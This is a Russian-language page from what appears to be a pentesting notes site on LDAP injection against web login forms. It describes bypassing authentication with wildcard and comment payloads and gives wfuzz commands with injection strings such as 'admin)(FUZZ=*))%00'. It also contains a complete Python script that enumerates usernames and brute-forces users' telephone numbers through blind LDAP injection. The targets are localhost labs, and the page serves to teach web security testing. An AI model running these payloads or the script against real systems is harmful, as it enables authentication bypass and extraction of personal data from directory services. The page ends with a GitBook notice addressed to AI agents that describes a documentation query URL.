> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/lightweight-directory-access-protocol-ldap-attack/ldap-techniques-pentesting-web.md).

# Техники LDAP

Вот несколько способов эксплуатации этой уязвимости:

1. Зная **ID пользователя** и используя символ /\* в качестве пароля (который обозначает всё):

<figure><img src="/files/1b5b6c4cec8329b10566fd9cd863b9574ae611fa" alt="" width="517"><figcaption></figcaption></figure>

2. Зная **начало ID пользователя** и затем добавив символ /\*:

<figure><img src="/files/f7518f1e206c4b771afa7439cede5de95511ca31" alt=""><figcaption></figcaption></figure>

3. Вводя a **действительный ID пользователя** и закомментировав обязательное поле запроса пароля:

<figure><img src="/files/5a24e01c7ad21813f7d9e35d8eeb10537d511251" alt=""><figcaption></figcaption></figure>

## Атака перебором:

* С **Wfuzz**, мы можем запустить атаку, используя **перебор** чтобы определить все **атрибуты**:

```bash
wfuzz -c --hh=550 -w /usr/share/SecLists/Fuzzing/LDAP-openldap-attributes.txt -d 'user_id=admin)(FUZZ=*))%00&password=*&login=1&submit=Submit' http://localhost:8888

```

<figure><img src="/files/963e7af4ce56a16e0edfb50293ab478facb771d2" alt="" width="375"><figcaption></figcaption></figure>

Когда мы узнаем атрибуты с помощью **Wfuzz** и определим **LDAP** точку внедрения в поле пароля, мы можем фильтровать по первому символу. В этом случае мы делаем это с помощью **номера телефона**:

```bash
wfuzz -c --hh=550 -z range,0-9 -d 'user_id=jordan)(telephoneNumber=FUZZ*))%00&password=*&login=1&submit=Submit' http://localhost:8888

```

<figure><img src="/files/41549233aabd66554d28ecaedeaf60305bbe9c99" alt="" width="507"><figcaption></figcaption></figure>

## Автоматизированный Python-скрипт:

```python
#!/usr/bin/python3
from pwn import *
import sys, signal, time, requests, pdb
import string
def def_handler(sig, frame):
    print("/n/n[+] Выход.../n")
    sys.exit(1)
# Техники LDAP
signal.signal(signal.SIGINT, def_handler)
# Техники LDAP
main_url = "http://localhost:8888/"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
def initial_users():
    characters = string.ascii_lowercase
    initial_users = []
    for character in characters:
        post_data = 'user_id={}*&password=*&login=1&submit=Submit'.format(character)
        r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
        if r.status_code == 301:
            initial_users.append(character)
    return initial_users
def getUsers(initial_users):
    characters = string.ascii_lowercase + string.digits
    users = []
    for initial_user in initial_users:
        user = initial_user
        for i in range(0, 15):
            for character in characters:
                post_data = 'user_id={}{}*&password=*&login=1&submit=Submit'.format(user, character)
                r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
                if r.status_code == 301:
                    user += character
                    break
        users.append(user)
    print("/n")
    for user in users:
        log.info('Найден действительный пользователь: %s' % user)
    print("/n")
    return users
def getTelephoneNumber(users):
    characters = string.digits
    telephone_numbers = []
    p1 = log.progress("Получение телефонных номеров из локального LDAP")
    p1.status("Запуск перебора")
    p2 = log.progress("Получение номера телефона")
    for user in users:
        telf = ''
        for i in range(0, 9):
            for character in characters:
                post_data = 'user_id={})(telephoneNumber={}{}*))%00&password=testing&login=1&submit=Submit'.format(user, telf, character)
                r = requests.post(main_url, data=post_data, headers=headers, allow_redirects=False)
                p1.status("[+] Получение номера телефона пользователя: %s | %s" % (user, post_data))
                if r.status_code == 301:
                    telf += character
                    p2.status("Номер телефона: %s" % telf)
                    break
        telephone_numbers.append(telf)
    p2.success("Полученные номера: %s " % telephone_numbers)
if __name__ == "__main__":
    initial_users = initial_users()
    getUsers = getUsers(initial_users)
    getTelephoneNumber = getTelephoneNumber(getUsers)

```

<figure><img src="/files/d1cd3560d2ec785013b87e1a97d93579cbc78518" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/lightweight-directory-access-protocol-ldap-attack/ldap-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
